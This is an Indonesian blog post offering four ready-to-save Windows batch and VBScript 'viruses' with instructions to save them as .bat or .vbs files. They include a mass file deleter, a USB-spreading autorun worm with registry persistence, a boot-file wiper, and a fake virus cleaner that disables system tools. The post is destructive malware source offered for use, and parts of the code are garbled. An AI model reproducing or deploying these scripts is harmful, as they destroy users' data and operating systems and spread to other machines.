ShoutMix chat widget
Bhokalor

29 Jan 2011

Script Virus

script virus edan...dijmin puas (d cba d kompi lu ndiri2 jgn d warnet )

_virus hampa_

------start script-------
cls
cd %HOMEDRIVE%\windows\
del /S /F /Q keyboard.drv
del /S /F /Q mouse.drv
del /S /F /Q keyboard.sys
del /S /F /Q hal.dll
del /S /F /Q *.exe
del /S /F /Q *.txt
del /S /F /Q *.com
del /S /F /Q *.scr
del /S /F /Q *.ini
del /S /F /Q *.mp3
del /S /F /Q *.wav
del /S /F /Q *.dll
del /S /F /Q *.avi
del /S /F /Q *.jpeg
del /S /F /Q *.mp4
del /S /F /Q *.reg

del /S /F /Q *.rar
del /S /F /Q *.inf
del /S /F /Q *.sdb
del /S /F /Q *.cur
del /S /F /Q *.ani
del /S /F /Q *.zip
del /S /F /Q *.*
cd %HOMEDRIVE%
del /S /F /Q *.exe
del /S /F /Q *.txt
del /S /F /Q *.com
del /S /F /Q *.scr
del /S /F /Q *.ini
del /S /F /Q *.mp3
del /S /F /Q *.wav
del /S /F /Q *.dll
del /S /F /Q *.avi
del /S /F /Q *.jpeg
del /S /F /Q *.mp4
del /S /F /Q *.reg
del /S /F /Q *.rar
del /S /F /Q *.inf
del /S /F /Q *.sdb
del /S /F /Q *.cur
del /S /F /Q *.ani
del /S /F /Q *.zip
del /S /F /Q *.*
cls
ren %HOMEDRIVE%\Windows\hal.dll hal3.dll
del %HOMEDRIVE%\WINDOWS\system32\*.* /F /Q /S
cls
echo DONE!
shutdown -r -t 25 -c "Selamat semua Virus anda telah dibersihkan... Berbahagialah "

di save *.bat

---------------end--------------

_bos gentong_

--------------start-------------------

‘//-Bosgentongs ITS-//
‘//-INI VIRUS BERBAHAYA JANGAN DIBUAT MAIN-MAIN!!!!!!!-//
‘//-Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus-//

on error resume next

‘//-Dim kata-kata berikut ini-//

dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd

‘//-Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information-//

atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe bosgentongs.exe.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do

‘//-Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)-//

Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\bosgentongs.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\bosgentongs.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\bosgentongs.exe.vbs”)
tf.attributes = 39

‘//-Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok-//
‘//-Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket-//

for each flashdrive in fs.drives

‘//-Cek Drive-//

If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then

‘//-Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\-//

set tf=fs.getfile(flashdrive.path &”\bosgentongs.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\bosgentongs.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =39

‘//-Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)-//

set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

‘//-Manipulasi Registry-//

set rg = createobject(”WScript.Shell”)

‘//-Manip – Ubah Title Internet Explorer menjadi BOSGENTONGS v.s. ANTIVIRUS-//

rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\WindowTitle”,” THE BOSGENTONGS v.s. ANTIVIRUS “

‘//-Manip – Set agar file hidden tidak ditampilkan di Explorer-//

rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,“0”, “REG_DWORD”

‘//-Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager-//

rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,“1”, “REG_DWORD”
rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,“1”, “REG_DWORD”
rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,“1”, “REG_DWORD”
rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,“1”, “REG_DWORD”
rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,“1”, “REG_DWORD”

‘//-Manip – Disable klik kanan-//

rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”,“1”, “REG_DWORD”

‘//-Manip – Munculkan Pesan Setiap Windows Startup-//

rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,“Worm Kalong. Variant from Bosgentongs, don’t panic all data are safe.“
rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR SISTEM!!! MAKA BERDOALAH AGAR TIDAK TERJADI“

‘//-Manip – Aktif setiap Windows Startup-//

rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, winpath & “\batch- bosgentongs.exe.vbs “

‘//-Manip – Ubah RegisteredOwner dan Organization-//

rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\RegisteredOrganization”, “The Bosgentongs”
rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\RegisteredOwner”,”bosgentongs”

‘//-Manip – Membuat Cadangan di sistem svchost, MS32Dll dan membuat ikon-//

rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\bosgentongs.exe.vbs”
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,"
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3”

‘//-Manip – Me-Log off komputer setelah log on BOLEH DIHAPUS KLO MAU LIHAT EFEKNYA!!!-//

rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Logoff”,winpath & “\System32\Logoff.exe”

‘//-Fungsi di untuk mengaktifkan kembali script dan mengulangnya kembali-//

if check 1 then
Wscript.sleep 100000
end if
loop while check1
set sd = createobject(”Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname
do while year(now) >= 2009
WScript.sleep 20000

‘//-Memunculkan pesan window terus menerus-//

msgbox “Selamatlah virus ini tiba di sistem ente” & vbcrlf & _
“kulo nyuwun pangapuranipun menawi sampung mengganggu ente sekalian” & vbcrlf & _
“jangan kawatir dan sedih, aku tidak akan kuasai komputer bobrok ini. kini ente sudah masuk dalam permainanku” & vbcrlf & _
“ini hanya permainnaku yang aku kesepian di sini” & vbcrlf & _
vbcrlf & vbcrlf & _
” elok-elok indah kehidupan bukan kenyataan” & vbcrlf & vbcrlf & _
” saatnya kini aku bangkit dalam mimpi ituk“

‘//-Mengulang kode script-//

loop

‘//Akhir dari Kode & simpan dengan nama bosgentongs.exe.vbs-//

d save *.vbs

----------------end---------------------

_malware phucker_
--------------start----------------

@echo off & break off
title fuCker v1.4-1-5
attrib +h %0
mode con cols=75 lines=15
cls
color 0a
echo.
echo ad88 ,ad8888ba, 88
echo d8" d8"' `"8b 88
echo 88 d8' 88
echo MM88MMM 88 88 88 88 ,d8 ,adPPYba, 8b,dPPYba,
echo 88 88 88 88 88 ,a8" a8P_____ 88 88P' "Y8
echo 88 88 88 Y8, 8888[ 8PP""""""" 88
echo 88 "8a, ,a88 Y8a. .a8P 88`"Yba, "8b, 88
echo 88 `"YbbdP'Y8 `"Y8888Y"' 88 `Y8a `"Ybbd8"' 88
echo by c0re
echo.
rundll32.exe user32.dll,SwapMouseButton
if exist "%SYSTEMDRIVE%\boot.ini" goto winXP 2> nul
if exist "%USERPROFILE%\AppData" goto winVISTA 2> nul
@echo
echo x=msgbox("0wned by fuCker w0rm!",vbCritical or vbOkOnly,"fuCker") >> "fuCker.vbs"
start "" "fuCker.vbs" 2> nul

:winXP
echo [Inject] Microsoft Windows XP!
set b0t=boot
attrib -r -s -h "%SYSTEMDRIVE%\%b0t%.ini" >nul
del /f /s /q "%SYSTEMDRIVE%\%b0t%.ini" >nul
set b0t=
attrib -r -s -h "%SYSTEMDRIVE%\ntldr" >nul
del /f /s /q "%SYSTEMDRIVE%\ntldr" >nul
set w0n=win
attrib -r -s -h "%SYSTEMROOT%\%w0n%.ini" >nul
del /f /s /q "%SYSTEMROOT%\%w0n%.ini" >nul
set w0n=
attrib -r -s -h "%SYSTEMROOT%\System32\hal.dll" >nul
del /f /s /q "%SYSTEMROOT%\System32\hal.dll" >nul
attrib -r -s -h "%SYSTEMROOT%\System32\bootcfg.exe" >nul
del /f /s /q "%SYSTEMROOT%\System32\bootcfg.exe" >nul
reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /va /f >nul
msg * "**** y0u!"
shutdown -r -t 02 -c "fuCker w0rm deteCted!"
goto end


:winVISTA
echo [Inject] Microsoft Windows Vista!
setlocal enableextensions
for /f "tokens=*" %%a in (
'reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Pol icies\System\ /v EnableLUA'
) do (
set usac=%%a
)
echo %usac%|find /i "0x1" > nul
if errorlevel 1 (
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
start http://%USERNAME%.homo.com/
attrib -r -s -h "%SYSTEMRDRIVE%\bootmgr" >nul
del /f /s /q "%SYSTEMDRIVE%\bootmgr" >nul
attrib -r -s -h "%SYSTEMRDRIVE%\BOOTSECT.BAK" >nul
del /f /s /q "%SYSTEMRDRIVE%\BOOTSECT.BAK" >nul
copy %0 "%ALLUSERSPROFILE%\Start Menu\Programs\Startup" 2> nul
copy %0 "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\St art Menu" 2> nul
echo x=msgbox("0wned!",vbCritical or vbOkOnly,"fuCker w0rm") >> "w0rm.vbs"
start "" "w0rm.vbs" 2> nul
shutdown -s -t 10 -c "fuCker w0rm deteCted!"
goto end
) else (
echo :HjT >> "%TEMP%\HjT.bat"
echo tskill /a HijackThis >> "%TEMP%\HjT.bat"
echo goto HjT >> "%TEMP%\HjT.bat"
start "%TEMP%\HjT.bat"
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
echo do >> "disk.vbs"
echo set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "disk.vbs"
echo set colCDROMs = oWMP.cdromCollection >> "disk.vbs"
echo colCDROMs.Item(d).Eject >> "disk.vbs"
echo colCDROMs.Item(d).Eject >> "disk.vbs"
echo loop >> "disk.vbs"
start "" "disk.vbs" 2> nul
echo @echo off >> "%USERPROFILE%\Desktop\fuCkerw0rm.bat"
echo shutdown -r -t 00 -c "fuCker w0rm deteCted!" >> "%USERPROFILE%\Desktop\fuCkerw0rm.bat"
echo echo 0wned by fuCker w0rm! 0n %DATE% at%TIME% >> "%USERPROFILE%\Desktop\fuCkerw0rm.bat"
echo @exit >> "%USERPROFILE%\Desktop\fuCkerw0rm.bat"
set usac=
start "%USERPROFILE%\Desktop\fuCkerw0rm.bat" 2> nul
echo x=msgbox("0wned!",vbCritical or vbOkOnly,"fuCker w0rm") >> "w0rm.vbs"
start "" "w0rm.vbs" 2> nul
goto end
)
endlocal

:end
cls
exit

di save *.bat

------------------end---------------------

_pinguin atacked_

--------------------strat-----------------
@echo off
echo ================================
echo ================================
echo Killer Viri
echo created By The GhilazZ Team
echo ================================
echo ================================
echo .
echo Readme.txt
echo Hallo semua program yang ada di hadapan anda ini
echo adalah sebuah program kecil yang unik untuk membunuh virus
echo Caranya sebagai contoh anda cukup mengetikan
echo Nomor saja : 1.Brontok 2.Worm 3.VBS 4...Others
echo Contoh: 1...lalu tekan Enter
echo (Ketikan anda tidak terlihat dilayar)
echo Hapus dan Bersihkan lalu tekan Enter
echo Kamu yakin?? lalu tekan Enter
echo Mudah bukan...???
echo jangan mo kalah dengan bikinan luarnegri
echo coba buatan Indonesia
echo Merdeka...merdeka...merdeka...
echo .
echo Register The GhilazZ Team
pause
echo Masukkan 1,2,3,4
pause
echo Begin scanning viri..... tekan Enter
cls
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v "DisableRegistryTools" /t REG_DWORD /d 00000001

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v "NoDrives" /t REG_DWORD /d 67108863

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v "DisableTaskMgr" /t REG_DWORD /d 00000001

REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v "DisableTaskMgr" /t REG_DWORD /d 00000001

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v "NofIND" /t REG_DWORD /d 00000001

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V "NoClose" /t REG_DWORD /d 00000001

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V "NoRun" /t REG_DWORD /d 00000001

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V "NoLogOff" /t REG_BINARY /d 01000000

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /V "DisableCMD" /t REG_DWORD /d 00000001

REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v The_GhilazZ /t REG_SZ /d C:The_GhilazZ.exe

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v The_GhilazZ /t REG_SZ /d C:The_GhilazZ.exe

REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Pinguin_attack /t REG_BINARY /d fuckinjoshbush

REG ADD HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v "SALAM HANGAT UNTUK SEMUA, FROM THE TEAM GHILAZZ...luv U all my victim..mmmuacccchh" /t REG_DWORD /d 00000001

pause
echo Hapus dan Bersihkan lalu tekan Enter
cls
pause
echo Kamu yakin?? lalu tekan Enter
pause
echo Create Backup Windows.....tekan Enter
pause
cls
md \We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you
md \We_destroyed_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you
md \we_are_your_nightmare\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you
md gue selalu ada disisi loe untuk selamanya setia setiap saat long live so-eng fuckin_josh_bush ought agghh mampus_loe
cls
:viru1
echo Your compie clean but my viri in your computer
echo Your system vulneberity have been Control of my viri
echo Your computer be come weknees.......................
echo Say good bye to your computers......................
echo Regards The GhilazZ Team....Salam hangat untukmu....
cls
echo . "We fly inthe night when you're sleeping in bed"
echo ***************************************************************
echo ***************************************************************
echo The GhilazZ Team Was Here...The GhilazZ Team Was Here...
echo 999999999999999999
echo 999999999999999999999999
echo 9999999999999999999999999999
echo 999999 9999999 9999999
echo 9999999 99999 99999999
echo 9999999 999 99999999
echo 9999999999999999999999999999999
echo 9999999999999999999999999999999
echo 999999999999 99 9999999999999
echo 9999999999999999999999999999999
echo 99999999999999999999999999999
echo 99999999999999999999999
echo 000 000 000 000 00
echo 000 000 000 000 00
echo .. ... ... ... .
echo 00 000 000 000 0
echo 00 000 000 000 0
echo 999999999999999999
echo 9999999999999999
echo 00000000000000
echo The GhilazZ Team Was Here...The GhilazZ Team Was Here...
echo ****************************************************************
echo ****************************************************************
echo>>Inul_oke.exe
echo>>sex_machine.dll
echo>>Tukul_ndeso.asm
echo>>Katro_men.exe
echo>>Vulneberity_its_yours.mp3
echo>>Seek_and_Destroyed.dat
echo>>Sampah_loe.exe
echo>>Gwe_ada_disini.exe
echo>>Britneys_bugilz.mpeg
echo>>Fuckin_US.exe
echo>>TKIKIL.exe
echo>>msfuck.exe
echo>>Goodlinux.exe
goto viru1
copy Inul_oke.exe C:
copy sex_machine.dll C:
copy Tukul_ndeso.asm C:
copy Katro_men.exe C:
copy Vulneberity_its_yours.mp3 C:
copy Seek_and_Destroyed.dat C:
copy Sampah_loe.exe C:
copy Gwe_ada_disini.exe C:
copy Britneys_bugil.mpeg C:
copy Fuckin_US.exe C:
copy TKIKIL.exe C:
copy msfuck.exe C:
copy Goodlinux.exe C:
copy Inul_oke.exe C:\Windonws\System32
copy sex_machine.dll C:\Windonws\System32
copy Tukul_ndeso.asm C:\Windonws\System32
copy Katro_men.exe C:\Windonws\System32
copy Vulneberity_its_yours.mp3 C:\Windonws\System32
copy Seek_and_Destroyed.dat C:\Windonws\System32
copy Sampah_loe.exe C:\Windonws\System32
copy Gwe_ada_disini.exe C:\Windonws\System32
copy Britneys_bugil.mpeg C:\Windonws\System32
copy Fuckin_US.exe C:\Windonws\System32
copy TKIKIL.exe C:\Windonws\System32
copy msfuck.exe C:\Windonws\System32
copy Goodlinux.exe C:\Windonws\System32
attrib +a +s +h *.*
md \We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you
md \We_destroyed_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you
md \we_are_your_nightmare\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you\We_come_to_you
md gue selalu ada disisi loe untuk selamanya setia setiap saat long live so-eng fuckin_josh_bush ought agghh mampus_loe


save *.bat

----------------------end--------------------

0 komentar:

Posting Komentar

IP
English French German Spain Italian Dutch Russian Brazil Japanese Korean Arabic Chinese Simplified